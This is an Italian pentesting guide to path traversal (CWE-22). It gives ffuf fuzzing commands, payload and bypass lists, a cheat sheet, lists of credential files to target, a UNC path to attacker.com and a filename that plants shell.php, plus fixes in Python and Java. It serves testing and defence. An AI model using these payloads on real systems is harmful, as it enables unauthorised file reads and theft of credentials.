web-hacking

Path Traversal: Vulnerabilità, Cheat Sheet e Fix (CWE-22)

Path Traversal: Vulnerabilità, Cheat Sheet e Fix (CWE-22)

Path Traversal: cos’è, differenza con LFI, payload, bypass, attacchi, tool di test (ffuf) e fix sicuro in Python. Guida con riferimenti OWASP e CWE-22.

  • Pubblicato il 2026-03-18
  • Tempo di lettura: 11 min

Path Traversal nel Web Pentesting: Test, Payload ed Exploit #

Path Traversal (o Directory Traversal) è una vulnerabilità in cui l’applicazione usa input dell’utente per costruire o risolvere un percorso file senza verificare che il risultato resti dentro la directory prevista. L’attaccante usa sequenze ../ (o varianti encoded) per uscire da quella directory e accedere a file che il processo del server ha il permesso di leggere.

Un punto spesso frainteso: la document root (/var/www/html/ su Linux, C:\inetpub\wwwroot\ su Windows) non è un confine di sicurezza del filesystem — è solo dove il web server serve i file statici per default. Il Path Traversal è un problema di come il codice applicativo costruisce un percorso a partire da input utente: se quel percorso finisce per uscire dalla directory che l’applicazione intendeva autorizzare, il processo può leggere qualsiasi file per cui ha i permessi — che sia dentro o fuori dalla document root non c’entra. Il CWE-22 di MITRE distingue proprio il traversal relativo (../) dall’accesso diretto tramite percorso assoluto (/etc/passwd passato direttamente, senza bisogno di risalire nulla).

Vale la pena distinguere anche da due vulnerabilità vicine: una LFI è un caso più ampio in cui il file incluso può anche venire eseguito (non solo letto), e un Arbitrary File Read è spesso il nome usato quando l’accesso avviene non tramite traversal di path ma tramite un altro meccanismo (es. un ID di risorsa non validato). Qui ci concentriamo sul vettore specifico: un parametro che costruisce un path risalendo le directory.

L’impatto varia moltissimo a seconda di cosa trovi: /etc/passwd conferma solo la vulnerabilità, un file di configurazione applicativa può contenere credenziali, una chiave SSH privata (se autorizzata e il servizio raggiungibile) può dare accesso diretto. Nessuno di questi risultati è garantito dal solo fatto che il traversal funzioni — vanno verificati uno a uno.

Satellite operativo della guida pillar File & Path Attacks . Vedi anche: LFI , Arbitrary File Read , Backup Exposure , Zip Slip .

Riferimenti: PortSwigger File Path Traversal , MITRE CWE-22 , OWASP Path Traversal , PayloadsAllTheThings Directory Traversal .


Discovery: dove cercare un parametro vulnerabile #

Il Path Traversal si nasconde in qualsiasi parametro che l’applicazione usa per costruire un percorso file. I pattern più comuni da testare:

text
# GET
?file=report.pdf
?page=about
?doc=invoice_2026.pdf
?template=default
?lang=en
?path=documents/annual_report.pdf
?img=logo.png
?download=file.zip
?include=header
?view=dashboard
?module=users
?load=sidebar

# POST / JSON
{"file": "report.pdf"}
{"template": "invoice_template"}
{"path": "exports/data.csv"}

Non tutti questi parametri raggiungono davvero un’operazione sul filesystem — ?lang=en o ?page=about possono essere semplici chiavi in una mappa interna, senza nessuna open() dietro. Prima di investire tempo, verifica con un payload minimo (../) se cambia il comportamento rispetto al valore legittimo: un errore diverso, un tempo di risposta diverso, o un contenuto diverso sono indizi che il valore arriva a un’operazione sul filesystem.

Un’altra superficie, distinta dai parametri di query: il traversal nel nome file di un upload. Nelle richieste multipart, il nome che il client dichiara per il file caricato (nell’header Content-Disposition della parte multipart, non un header generico di richiesta) può contenere sequenze ../ se l’applicazione lo usa per determinare dove salvare il file sul server — un vettore diverso dal download, ma con la stessa causa di fondo.

In Burp Suite filtro il Site Map per questi parametri e li testo tutti: la regola è, se un parametro contiene un nome file o un path, testalo.


Fuzzing con ffuf #

Il fuzzing automatico velocizza la discovery su endpoint multipli. Prima di lanciarlo, misura sempre una risposta di baseline per sapere cosa escludere dai risultati:

bash
# Step 1: measure the baseline response (legitimate value) to know what to filter out
curl -s -o /dev/null -w "%{size_download}\n" "https://target.com/page?file=legit.pdf"
# -> e.g. 4213

# Step 2: fuzz the parameter value against that baseline size
ffuf -u "https://target.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -mr "root:x:" \
  -fs 4213 \
  -o results.json

# the wordlist includes variants such as:
# ../../../etc/passwd
# ....//....//....//etc/passwd
# ..%2f..%2f..%2fetc/passwd
# -mr "root:x:" matches responses containing /etc/passwd content

Verifica sempre che il path della wordlist esista nella tua installazione di SecLists prima di lanciare il comando — i percorsi cambiano tra versioni del repository:

bash
ls /usr/share/seclists/Fuzzing/LFI/ 2>/dev/null || locate LFI-Jhaddix.txt

Se non conosci quale parametro testare:

bash
ffuf -u "https://target.com/page?FUZZ=../../../etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 \
  -mr "root:x:" \
  -t 50

Su un endpoint JSON:

bash
ffuf -u "https://target.com/api/v2/files/download" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"path": "FUZZ"}' \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -mr "root:x:"

Su Windows, il marker di conferma cambia (contenuto di win.ini):

bash
ffuf -u "https://target.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Windows.txt \
  -mc 200 \
  -mr "\[fonts\]" \
  -t 50

Payload base — test iniziale #

Un test manuale rapido prima del fuzzing, per capire se il parametro è vulnerabile e che tipo di filtro c’è. La profondità di ../ necessaria dipende da dove si trova la directory di partenza usata dall’applicazione — se il primo tentativo non funziona, prova profondità diverse, non solo encoding diversi.

text
# Round 1: direct
?file=../../../etc/passwd
?file=/etc/passwd                            # absolute path, no ../ needed

# Round 2: bypass of non-recursive ../ stripping
?file=....//....//....//etc/passwd           # after one strip of ../, becomes ../../../
?file=..././..././..././etc/passwd           # alternative mangled form

# Round 3: URL encoding
?file=..%2f..%2f..%2fetc/passwd              # / encoded
?file=%2e%2e%2f%2e%2e%2fetc/passwd           # . and / encoded

# Round 4: double URL encoding
?file=..%252f..%252f..%252fetc/passwd        # %252f decodes once to %2f, then to /

Output osservato — esempio di laboratorio (simulato) #

Request:

text
GET /api/files/download?path=....//....//....//etc/passwd HTTP/1.1
Host: lab.local

Response (200 OK):

text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
deploy:x:1000:1000:Deploy User:/home/deploy:/bin/bash

Da questo output: www-data conferma che il server gira come utente web standard; mysql indica un database locale (da verificare se raggiungibile e se le credenziali sono altrove recuperabili); deploy con shell reale è un utente target plausibile per una chiave SSH, se la trovi e se è autorizzata sul servizio SSH di quel server.


Bypass dei filtri — cosa è affidabile oggi e cosa è storico #

Molti filtri si limitano a cercare la stringa ../ e rimuoverla, spesso una sola volta. Le tecniche seguenti vanno testate una per una: nessuna è un bypass universale, e alcune funzionano solo contro implementazioni datate o configurazioni specifiche — le separo per chiarezza.

Tecniche con applicabilità ampia #

text
# Non-recursive strip bypass
....//
....\/
..././

# Mixed separators (filter looks for ../ but the server also accepts ..\)
..\/..\/..\/etc/passwd

# Double URL encoding
..%252f..%252f..%252fetc%252fpasswd          # Windows backslash: ..%255c
..%255c..%255cwindows%255cwin.ini

# Superfluous decoding layers (if the backend decodes more than once)
..%25252f..%25252f..%25252fetc%25252fpasswd

# Path confusion after a blocked exact match
../../../etc/./passwd
../../../etc/passwd/.
../../../etc//passwd

# If the filter requires the path to start inside an allowed directory
documents/../../../etc/passwd
uploads/../../../etc/passwd

Unicode encoding (dipende dal parser a monte) #

text
%u002e%u002e%u2215                            # . . / in Unicode escape form
%u002e%u002e%u2216                            # . . \ in Unicode escape form

Questa forma di encoding (%uXXXX) viene interpretata solo da stack specifici (storicamente IIS/ASP classico e alcuni parser che la supportano esplicitamente) — non è uno standard URL, quindi verificane il supporto prima di investirci tempo.

UTF-8 overlong — contestualizzare, non generalizzare #

text
..%c0%af..%c0%afetc/passwd              # 2-byte overlong encoding of /
..%e0%80%af..%e0%80%afetc/passwd        # 3-byte overlong encoding of /
..%c0%ae%c0%ae%c0%af                    # overlong . . /

Importante: queste sequenze non sono UTF-8 valido secondo RFC 3629 — un decoder conforme deve rifiutarle, non interpretarle come /. Funzionano solo contro decoder legacy o non conformi (storicamente alcune versioni di IIS e Apache Tomcat precedenti alle patch per questa classe di bug), o quando un componente della catena (proxy, WAF) le normalizza in un modo diverso dal backend che poi apre il file. Trattale come test per una discrepanza di normalizzazione tra componenti, non come bypass affidabile contro uno stack moderno.

Tomcat / reverse proxy — il semicolon trick è contestuale, non universale #

text
..;/..;/..;/etc/passwd

Questo non è un comportamento generico di “Tomcat e molti application server Java”: è un mismatch specifico tra come un reverse proxy a monte (es. Nginx) normalizza il path e come Tomcat interpreta il ; come separatore di path parameter. Serve quella combinazione precisa di componenti per funzionare — su un singolo Tomcat senza proxy davanti, o su una configurazione patchata, questo payload non produce nulla.

Windows #

text
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
..\/..\/..\/etc/passwd                   # mixed separators

# UNC share -- a different mechanism (forces an SMB connection attempt, often
# triggering NTLM auth), not a filesystem traversal in the strict sense
\\attacker.com\share\evil.txt

Classe legacy — null byte truncation #

text
../../../etc/passwd%00.pdf
../../../etc/passwd%00

Questa classe di bug riguarda PHP precedente alla 5.3.4 (e alcune altre implementazioni storiche) dove il byte nullo tronca la stringa al livello delle API C sottostanti prima del controllo estensione. Contro uno stack moderno (PHP 7+/8+, qualsiasi linguaggio gestito recente) questo payload non fa nulla — mettilo in conto solo se stai testando codice legacy noto.

Java — protocollo URL #

text
url:file:///etc/passwd
url:http://127.0.0.1:8080

Specifico di applicazioni Java che risolvono input come URL tramite java.net.URL — se il parametro finisce in quel tipo di costruttore, questi schemi possono bypassare un filtro pensato solo per path relativi.

ASP.NET — cookieless session path injection #

Applicazioni ASP.NET con sessioni “cookieless” inseriscono un token di sessione direttamente nel path (/(S(token))/). Alcune versioni/configurazioni permettono di inserire segmenti di path aggiuntivi dentro quella sintassi per bypassare controlli di autorizzazione basati sul path — es. /WebForm/(S(X))/prot/(S(X))ected/target1.aspx, legato a CVE note su versioni specifiche di .NET. Va verificato contro la versione del framework in uso, non applicato a prescindere.


Verificare l’impatto — non fermarti al solo traversal confermato #

Confermare che il traversal funziona (es. leggi /etc/passwd) prova la vulnerabilità, non l’impatto. Per ogni file successivo che provi a leggere, distingui questi quattro livelli, perché spesso l’articolo medio li confonde in uno solo:

  1. File potenzialmente sensibile — esiste in teoria in quel path, ma potrebbe non esistere affatto su quel server specifico.
  2. Segreto effettivamente trovato — il file esiste ed è leggibile, e contiene qualcosa che sembra una credenziale.
  3. Credenziale utilizzabile — quel segreto è ancora valido, non scaduto, non già ruotato.
  4. Impatto dimostrato — hai verificato concretamente cosa permette (login riuscito, comando eseguito, dati estratti).

Un /proc/self/environ letto con successo, ad esempio, non garantisce di contenere AWS_SECRET_ACCESS_KEY in chiaro — le credenziali AWS possono arrivare da ruoli IAM assegnati all’istanza (mai esposti come variabile d’ambiente), da un secrets manager, o non essere affatto lì. Lo stesso vale per ogni file della lista sotto: la sua esistenza nel path indicato è un’ipotesi da verificare, non un dato di fatto.

File target comuni — Linux #

text
# Base system info
/etc/passwd
/etc/issue
/etc/hosts
/etc/motd

# Process info (may or may not contain secrets, depends on how the app was started)
/proc/self/environ
/proc/self/cwd/index.php
/proc/version
/proc/net/arp
/proc/net/tcp

# Application / database configs (path depends entirely on the specific stack)
/app/.env
/var/www/html/.env
/var/www/html/wp-config.php
/app/config/database.yml
/app/settings.py
/etc/mysql/my.cnf

# SSH / history (usefulness depends on authorization and reachability)
/home/USER/.ssh/id_rsa
/root/.ssh/id_rsa
/home/USER/.bash_history
/home/USER/.mysql_history

# Kubernetes (token alone does not grant Secret access -- see note below)
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/token

File target comuni — Windows #

text
C:\Windows\win.ini                              # classic PoC, confirms the read
C:\windows\system32\license.rtf
c:/inetpub/wwwroot/web.config                   # may contain connection strings
c:/inetpub/wwwroot/global.asa
c:/unattend.xml                                 # may contain install-time credentials
c:/sysprep.inf
c:/sysprep/sysprep.xml
c:/windows/repair/sam                           # SAM backup, requires further steps to crack
c:/windows/repair/system

Nota su /run/secrets/kubernetes.io/serviceaccount/token: leggere il file ti dà un token JWT, non automaticamente l’accesso a tutti i Secret del cluster. Devi poi usare quel token contro l’API server Kubernetes e scoprire quali permessi RBAC ha quel service account — se sono minimi, l’accesso si ferma lì.


Output osservati — esempi etichettati come simulati #

Gli esempi seguenti sono costruiti per illustrare la forma dell’output, non ottenuti da un sistema reale. Segreti e chiavi sono placeholder chiaramente fittizi, non valori da copiare come prova di compromissione.

text
# Simulated /proc/self/environ read -- NOT a guaranteed outcome of every Path Traversal
HOSTNAME=web-lab-sim
HOME=/home/app
DATABASE_URL=postgresql://admin:PLACEHOLDER_PASSWORD@db.internal:5432/appdb
SECRET_KEY=PLACEHOLDER_DJANGO_SECRET_KEY
REDIS_URL=redis://redis.internal:6379/0
text
# Simulated .env read
APP_ENV=production
DB_CONNECTION=mysql
DB_PASSWORD=PLACEHOLDER_DB_PASSWORD
MAIL_PASSWORD=PLACEHOLDER_SMTP_PASSWORD

Se nel tuo test reale trovi credenziali cloud AWS/Azure/GCP valide tramite questo vettore, il passo successivo corretto è verificarne lo scope reale (aws sts get-caller-identity e simili) prima di dichiarare un impatto — una credenziale valida non equivale automaticamente a “accesso cloud completo”: dipende interamente dalle policy assegnate a quell’identità specifica.

Per una chiave SSH: ha senso tentarne l’uso solo se il file è stato letto per intero (una chiave privata troncata non è utilizzabile) e solo dopo aver verificato che il servizio SSH sia raggiungibile dalla tua posizione di rete — non è un passaggio automatico.


Variante API / microservizi #

json
// GET parameter
GET /api/v2/documents/download?path=../../../etc/passwd

// JSON body -- vale sempre la pena testarlo separatamente dal parametro GET,
// perché la copertura delle regole WAF sul body varia molto da configurazione
// a configurazione: non è una proprietà generale di tutti i WAF
POST /api/v2/files/read
{"filepath": "../../../etc/passwd"}

// GraphQL
query { getFile(path: "../../../etc/passwd") { content } }

// Multipart upload filename (different mechanism: traversal in the saved filename)
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"

Se un payload nel body JSON funziona dove lo stesso payload nel parametro GET viene bloccato, è un errore di copertura di quella specifica regola WAF — vale la pena documentarlo come tale nel report, non come “i WAF ignorano sempre il JSON”.


Workflow operativo #

Step 1 — Identifica il parametro. Burp Site Map filtrato per nomi file/path, oppure ffuf sui nomi parametro se non è ovvio quale testare.

Step 2 — Test diretto. ../../../etc/passwd e la variante con path assoluto. Se funziona, passa alla verifica dell’impatto. Se no, step 3.

Step 3 — Encoding base. URL encoding singolo, bypass dello strip non ricorsivo (....//). Se funziona, step successivo di verifica. Se no, step 4.

Step 4 — Bypass avanzato, con consapevolezza del contesto. Double encoding, poi — solo se hai un motivo per sospettare un decoder legacy o un mismatch proxy/backend — overlong UTF-8 o semicolon trick. Prova anche lo stesso payload nel body JSON, se l’endpoint lo accetta.

Step 5 — Leggi i file per priorità, verificando ogni livello. Conferma (/etc/passwd) → file di configurazione applicativa → credenziali cloud/DB se presenti → chiavi SSH se complete e il servizio è raggiungibile → token Kubernetes verificandone poi i permessi RBAC reali.

Step 6 — Documenta con prerequisiti. Per ogni escalation ulteriore (DB, SSH, cloud, K8s) annota cosa hai effettivamente verificato e cosa resta un’ipotesi non confermata.


Errori comuni nel codice — e come correggerli davvero #

Il pattern di vulnerabilità più diffuso è una concatenazione di path senza canonicalizzazione:

python
# VULNERABLE
filepath = os.path.join(BASE_DIR, user_input)
return send_file(filepath)

Una correzione comune ma insufficiente è questa:

python
# STILL VULNERABLE -- startswith() on strings is not a safe path-containment check
filepath = os.path.join(BASE_DIR, user_input)
filepath = os.path.realpath(filepath)
if not filepath.startswith(os.path.realpath(BASE_DIR)):
    abort(403)
return send_file(filepath)

Il problema: startswith() confronta stringhe di caratteri, non componenti di percorso. Se BASE_DIR risolve a /srv/app/files, un percorso come /srv/app/files-evil/secret.txt inizia con quella stringa pur essendo una directory completamente diversa — il controllo lo lascia passare. La documentazione Python stessa avvisa che il confronto di prefisso testuale non equivale al confronto di percorsi; per quello esiste os.path.commonpath():

python
# CORRECT -- compare actual path components, not raw strings
base = os.path.realpath(BASE_DIR)
filepath = os.path.realpath(os.path.join(BASE_DIR, user_input))

if os.path.commonpath([base, filepath]) != base:
    abort(403)
return send_file(filepath)

Anche questa versione ha un limite da conoscere: se un file o una symlink dentro BASE_DIR può essere modificato da un utente non fidato tra il momento del controllo e il momento dell’apertura (TOCTOU), il controllo può essere aggirato — rilevante soprattutto quando la directory consentita contiene contenuti caricati da utenti.

La soluzione più robusta, quando applicabile, resta non accettare path liberi: usa un identificatore opaco (?doc=12345) risolto tramite una lookup lato server contro una lista di file autorizzati, invece di costruire il percorso da un input diretto dell’utente.

Fix in Java — lo stesso errore, un altro linguaggio #

Lo stesso bug ricorre identico in Java, dove new File(base, userInput) non impedisce il traversal:

java
// VULNERABLE
File file = new File(baseDir, userInput);
return Files.readAllBytes(file.toPath());
java
// STILL VULNERABLE -- getCanonicalPath() alone without a containment check does nothing
File file = new File(baseDir, userInput);
String canonicalPath = file.getCanonicalPath();
// missing: no comparison against baseDir's canonical path
return Files.readAllBytes(file.toPath());
java
// CORRECT -- resolve both paths, normalize, and verify real containment
Path base = Paths.get(baseDir).toRealPath();
Path target = base.resolve(userInput).normalize();

if (!target.startsWith(base)) {
    throw new SecurityException("Path traversal attempt blocked");
}
return Files.readAllBytes(target);

Nota: qui startsWith() è sicuro perché opera su Path (componenti strutturati, con normalize() già applicato), non su stringhe grezze come nell’esempio Python sopra — è la distinzione che conta, non il nome del metodo. Anche in Java, dove possibile, preferisci un identificatore opaco a un path libero.


Cheat sheet — payload rapidi per profondità #

Riferimento veloce per i test manuali, organizzato per OS e profondità di directory (la profondità reale va sempre determinata per tentativi, non assunta):

TargetPayload
Linux, profondità 3../../../etc/passwd
Linux, profondità 5../../../../../etc/passwd
Linux, path assoluto/etc/passwd
Linux, strip non ricorsivo....//....//....//etc/passwd
Linux, URL encoded..%2f..%2f..%2fetc/passwd
Linux, double encoded..%252f..%252f..%252fetc/passwd
Linux, null byte (legacy PHP)../../../etc/passwd%00
Windows, profondità 3..\..\..\windows\win.ini
Windows, URL encoded..%5c..%5c..%5cwindows%5cwin.ini
Tomcat dietro proxy..;/..;/..;/etc/passwd
Java java.net.URLurl:file:///etc/passwd

Checklist Path Traversal #

text
PARAMETERS
[ ] Every parameter referencing a file identified (GET, POST, JSON, upload filename)
[ ] Verified each candidate parameter actually reaches a filesystem operation

BASE TESTS
[ ] ../../../etc/passwd (Linux) tested at multiple depths
[ ] ..\..\..\windows\win.ini (Windows)
[ ] Absolute path tested directly
[ ] Non-recursive strip bypass (....// )

ENCODING
[ ] Single URL encoding (..%2f)
[ ] Double URL encoding (..%252f)
[ ] Unicode escape (%u002e%u002e%u2215) only if the stack is known to support it
[ ] Overlong UTF-8 only as a legacy-decoder / proxy-mismatch test, not a default bypass

CONTEXT-DEPENDENT TECHNIQUES
[ ] Tomcat semicolon trick only tested if a reverse proxy sits in front of Tomcat
[ ] Null byte truncation only tested against known legacy stacks (PHP < 5.3.4)
[ ] JSON body tested separately from GET parameter, documented as a coverage gap if it bypasses

IMPACT VERIFICATION (per file found)
[ ] File confirmed to exist and be readable, not just assumed from the payload list
[ ] Any credential found checked for validity before claiming access
[ ] SSH key verified complete and the SSH service reachable before attempting login
[ ] Kubernetes token's actual RBAC permissions checked via the API, not assumed

REPORTING
[ ] Every escalation claim states its prerequisite and what was actually verified
[ ] Simulated/example output clearly labeled as such, no real-looking secrets reused

Tool per il testing #

  • ffuf — fuzzing generico di parametri e path (vedi sezione dedicata sopra).
  • dotdotpwn — fuzzer specifico per path traversal, genera automaticamente combinazioni di profondità/encoding/OS target.
  • shortscan — enumerazione di nomi file IIS tramite la vulnerabilità degli short name (::$INDEX_ALLOCATION), utile per scoprire file non elencati altrove su stack IIS.
  • IIS-ShortName-Scanner — alternativa storica allo stesso scopo, su stack IIS legacy.

Per lo short name scanning: la tecnica funziona enumerando il formato 8.3 di Windows (es. LONGFI~1.TXT) tramite richieste che sfruttano differenze di risposta IIS — non è traversal in senso stretto, ma spesso compare nelle stesse checklist perché porta alla scoperta di file che poi si leggono via traversal.


Detection & Hardening #

  • Non fidarti del path costruito dall’input: canonicalizza (realpath) sia la base sia il path risultante e confronta con commonpath(), non con startswith() su stringhe.
  • Preferisci un identificatore opaco mappato lato server a un file consentito, quando il caso d’uso lo permette — elimina la classe di bug alla radice.
  • Considera le symlink e il TOCTOU se la directory consentita contiene file scrivibili da utenti non fidati.
  • Copertura uniforme: applica le stesse regole di filtro a query string, body JSON, multipart filename e header custom — non solo ai parametri GET.
  • Principio del minimo privilegio: il processo che serve i file non deve avere permessi di lettura su .ssh/, .aws/, /etc/shadow se non strettamente necessario.
  • Monitoring: alert su sequenze ../, %2e%2e, %c0%af, ..;/ nei log applicativi, distinguendo dai falsi positivi di normali nomi file con punti.

Satellite operativo della guida pillar File & Path Attacks . Vedi anche: LFI , Arbitrary File Read , Backup Exposure , Zip Slip .

Riferimenti: PortSwigger File Path Traversal , MITRE CWE-22 , OWASP Path Traversal , PayloadsAllTheThings Directory Traversal , RFC 3629 — UTF-8 , Python os.path docs .

#Path Traversal #Local File Inclusion (LFI) #WAF Bypass #Arbitrary File Read #Directory Traversal

lascia un messaggio

Non sono un robot